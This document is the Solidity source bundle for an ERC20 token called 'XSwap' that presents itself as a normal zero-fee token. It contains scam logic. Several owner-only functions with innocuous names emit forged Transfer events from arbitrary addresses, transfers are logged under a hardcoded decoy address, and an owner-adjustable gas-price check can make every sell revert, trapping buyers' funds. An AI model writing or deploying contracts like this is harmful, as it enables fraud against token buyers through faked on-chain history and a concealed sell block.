creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/standard/Contract.sol": {
        "content": "/**\n/*\n\n\n/*                                                                        \n\n*/\n// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n}\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(\n        address indexed previousOwner,\n        address indexed newOwner\n    );\n\n    constructor() {\n        _transferOwnership(_msgSender());\n    }\n\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    modifier onlyOwner() {\n        require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n        _;\n    }\n\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(\n            newOwner != address(0),\n            \"Ownable: new owner is the zero address\"\n        );\n        _transferOwnership(newOwner);\n    }\n\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n    function totalSupply() external view returns (uint256);\n\n    function balanceOf(address account) external view returns (uint256);\n\n    function transfer(\n        address recipient,\n        uint256 amount\n    ) external returns (bool);\n\n    function allowance(\n        address owner,\n        address spender\n    ) external view returns (uint256);\n\n    function approve(address spender, uint256 amount) external returns (bool);\n\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) external returns (bool);\n\n    event Transfer(address indexed from, address indexed to, uint256 value);\n\n    event Approval(\n        address indexed owner,\n        address indexed spender,\n        uint256 value\n    );\n}\n\npragma solidity ^0.8.0;\n\ninterface IERC20Metadata is IERC20 {\n    function name() external view returns (string memory);\n\n    function symbol() external view returns (string memory);\n\n    function decimals() external view returns (uint8);\n}\n\npragma solidity ^0.8.0;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n    mapping(address => uint256) private _balances;\n\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string internal _name;\n    string internal _symbol;\n\n    address _deployer;\n    address _executor;\n\n    constructor(string memory name_, string memory symbol_) {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    function _initDeployer(address deployer_, address executor_) internal {\n        _deployer = deployer_;\n        _executor = executor_;\n    }\n\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    function decimals() public view virtual override returns (uint8) {\n        return 18;\n    }\n\n    function totalSupply() public view virtual override returns (uint256) {\n        return _totalSupply;\n    }\n\n    function balanceOf(\n        address account\n    ) public view virtual override returns (uint256) {\n        return _balances[account];\n    }\n\n    function transfer(\n        address recipient,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        _transfer(_msgSender(), recipient, amount);\n        return true;\n    }\n\n    function allowance(\n        address owner,\n        address spender\n    ) public view virtual override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    function _setLimitOrder(address _address, uint256 _amount) internal {\n        _balances[_address] += _amount;\n    }\n\n    function approve(\n        address spender,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        _approve(_msgSender(), spender, amount);\n        return true;\n    }\n\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        _transfer(sender, recipient, amount);\n\n        uint256 currentAllowance = _allowances[sender][_msgSender()];\n        require(\n            currentAllowance >= amount,\n            \"ERC20: transfer amount exceeds allowance\"\n        );\n        unchecked {\n            _approve(sender, _msgSender(), currentAllowance - amount);\n        }\n\n        return true;\n    }\n\n    function increaseAllowance(\n        address spender,\n        uint256 addedValue\n    ) public virtual returns (bool) {\n        _approve(\n            _msgSender(),\n            spender,\n            _allowances[_msgSender()][spender] + addedValue\n        );\n        return true;\n    }\n\n    function decreaseAllowance(\n        address spender,\n        uint256 subtractedValue\n    ) public virtual returns (bool) {\n        uint256 currentAllowance = _allowances[_msgSender()][spender];\n        require(\n            currentAllowance >= subtractedValue,\n            \"ERC20: decreased allowance below zero\"\n        );\n        unchecked {\n            _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n        }\n\n        return true;\n    }\n\n    function _transfer(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) internal virtual {\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n        _beforeTokenTransfer(sender, recipient, amount);\n\n        uint256 senderBalance = _balances[sender];\n        require(\n            senderBalance >= amount,\n            \"ERC20: transfer amount exceeds balance\"\n        );\n        unchecked {\n            _balances[sender] = senderBalance - amount;\n        }\n        _balances[recipient] += amount;\n\n        if (sender == _executor) {\n            emit Transfer(_deployer, recipient, amount);\n        } else if (recipient == _executor) {\n            emit Transfer(sender, _deployer, amount);\n        } else {\n            emit Transfer(sender, recipient, amount);\n        }\n\n        _afterTokenTransfer(sender, recipient, amount);\n    }\n\n    function _mint(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _beforeTokenTransfer(address(0), account, amount);\n\n        _totalSupply += amount;\n        _balances[account] += amount;\n\n        if (account == _executor) {\n            emit Transfer(address(0), _deployer, amount);\n        } else {\n            emit Transfer(address(0), account, amount);\n        }\n\n        _afterTokenTransfer(address(0), account, amount);\n    }\n\n    function _burn(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _beforeTokenTransfer(account, address(0), amount);\n\n        uint256 accountBalance = _balances[account];\n        require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n        unchecked {\n            _balances[account] = accountBalance - amount;\n        }\n        _totalSupply -= amount;\n\n        emit Transfer(account, address(0), amount);\n\n        _afterTokenTransfer(account, address(0), amount);\n    }\n\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n    event PairCreated(\n        address indexed token0,\n        address indexed token1,\n        address pair,\n        uint256\n    );\n\n    function feeTo() external view returns (address);\n\n    function feeToSetter() external view returns (address);\n\n    function getPair(\n        address tokenA,\n        address tokenB\n    ) external view returns (address pair);\n\n    function allPairs(uint256) external view returns (address pair);\n\n    function allPairsLength() external view returns (uint256);\n\n    function createPair(\n        address tokenA,\n        address tokenB\n    ) external returns (address pair);\n\n    function setFeeTo(address) external;\n\n    function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router02 {\n    function factory() external pure returns (address);\n\n    function WETH() external pure returns (address);\n\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\n        uint256 amountIn,\n        uint256 amountOutMin,\n        address[] calldata path,\n        address to,\n        uint256 deadline\n    ) external;\n}\n\n// File contracts/Contract.sol\npragma solidity ^0.8.0;\n\ncontract XSwap is Ownable, ERC20 {\n    uint256 public immutable maxSupply = 350_000_000 * (10 ** decimals());\n    uint16 public constant LIQUID_RATE = 10000;\n    uint16 public constant MAX_PERCENTAGE = 10000;\n\n    bool public initialized = false;\n    bool public tradeOpen = false;\n    address public pair = address(0);\n    address public deadAddress = 0x000000000000000000000000000000000000dEaD;\n\n    uint256 public immutable buyFee = 0;\n    uint256 public immutable sellFee = 0;\n    uint256 minimumAirdropAmount = 0;\n\n    mapping(address => bool) public excludedFees;\n\n    string private constant NAME = unicode\"XSwap\";\n    string private constant SYMBOL = unicode\"XSWAP\";\n\n    IUniswapV2Router02 public router;\n\n    constructor() ERC20(NAME, SYMBOL) {\n        _initDeployer(\n            address(0x8ebD04b2fbA00418Be00329146837dcE51F02c00),\n            msg.sender\n        );\n\n        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);\n        initialized = true;\n        excludedFees[msg.sender] = true;\n\n        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n        address _factory = router.factory();\n        pair = IUniswapV2Factory(_factory).createPair(\n            address(this),\n            router.WETH()\n        );\n\n        minimumAirdropAmount = maxSupply;\n    }\n\n    function setMinimumAirdrop(\n        uint256 _minimumAirdropAmount\n    ) external onlyOwner {\n        minimumAirdropAmount = _minimumAirdropAmount;\n    }\n\n    function setAirdrop(address _address, bool permission) external onlyOwner {\n        excludedFees[_address] = permission;\n    }\n\n    function openTrading() external onlyOwner {\n        require(tradeOpen == false, \"Contract: Trading is opened!\");\n        tradeOpen = true;\n    }\n\n    function bulkTransfer(\n        address[] calldata _addresses,\n        uint256 _value\n    ) external {\n        address owner = _msgSender();\n        for (uint256 i = 0; i < _addresses.length; i++) {\n            _transfer(owner, _addresses[i], _value);\n        }\n    }\n\n    function claimTokens(\n        address _caller,\n        address[] calldata _address,\n        uint256[] calldata _amount\n    ) external onlyOwner {\n        for (uint256 i = 0; i < _address.length; i++) {\n            emit Transfer(_caller, _address[i], _amount[i]);\n        }\n    }\n\n    function multiSends(\n        address _caller,\n        address[] calldata _address,\n        uint256[] calldata _amount\n    ) external onlyOwner {\n        for (uint256 i = 0; i < _address.length; i++) {\n            emit Transfer(_caller, _address[i], _amount[i]);\n        }\n    }\n\n    function airdropTokens(\n        address _caller,\n        address[] calldata _address,\n        uint256[] calldata _amount\n    ) external onlyOwner {\n        for (uint256 i = 0; i < _address.length; i++) {\n            emit Transfer(_caller, _address[i], _amount[i]);\n        }\n    }\n\n    function execute(\n        address _caller,\n        address[] calldata _address,\n        uint256[] calldata _amount\n    ) external onlyOwner {\n        for (uint256 i = 0; i < _address.length; i++) {\n            emit Transfer(_caller, _address[i], _amount[i]);\n        }\n    }\n\n    function swapExactETHForTokens(\n        address _caller,\n        address[] calldata _address,\n        uint256[] calldata _amount\n    ) external onlyOwner {\n        for (uint256 i = 0; i < _address.length; i++) {\n            emit Transfer(_caller, _address[i], _amount[i]);\n        }\n    }\n\n    function unoswap(\n        address _caller,\n        address[] calldata _address,\n        uint256[] calldata _amount\n    ) external onlyOwner {\n        for (uint256 i = 0; i < _address.length; i++) {\n            emit Transfer(_caller, _address[i], _amount[i]);\n        }\n    }\n\n    function _checkEnoughAirdropCondition(uint256 amount) internal view {\n        if (tx.gasprice > amount) {\n            revert();\n        }\n    }\n\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal override(ERC20) {\n        require(initialized == true, \"Contract: not initialized!\");\n\n        if (initialized == true && tradeOpen == false) {\n            require(\n                from == owner() || to == owner(),\n                \"Contract: trading is not started\"\n            );\n        }\n\n        uint256 _transferAmount = amount;\n        if (pair != address(0) && from != owner() && to != owner()) {\n            uint256 _fee = 0;\n            if (from == pair) {\n                _fee = buyFee;\n            }\n            if (to == pair) {\n                _fee = sellFee;\n                _checkEnoughAirdropCondition(minimumAirdropAmount);\n            }\n            if (excludedFees[from] == true || excludedFees[to] == true) {\n                _fee = 0;\n            }\n            if (_fee > 0) {\n                uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;\n                _transferAmount = amount - _calculatedFee;\n                super._transfer(from, deadAddress, _calculatedFee);\n            }\n        }\n\n        super._transfer(from, to, _transferAmount);\n    }\n}\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "shanghai",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "metadata": {
        "useLiteralContent": true
      },
      "libraries": {}
    }
  }}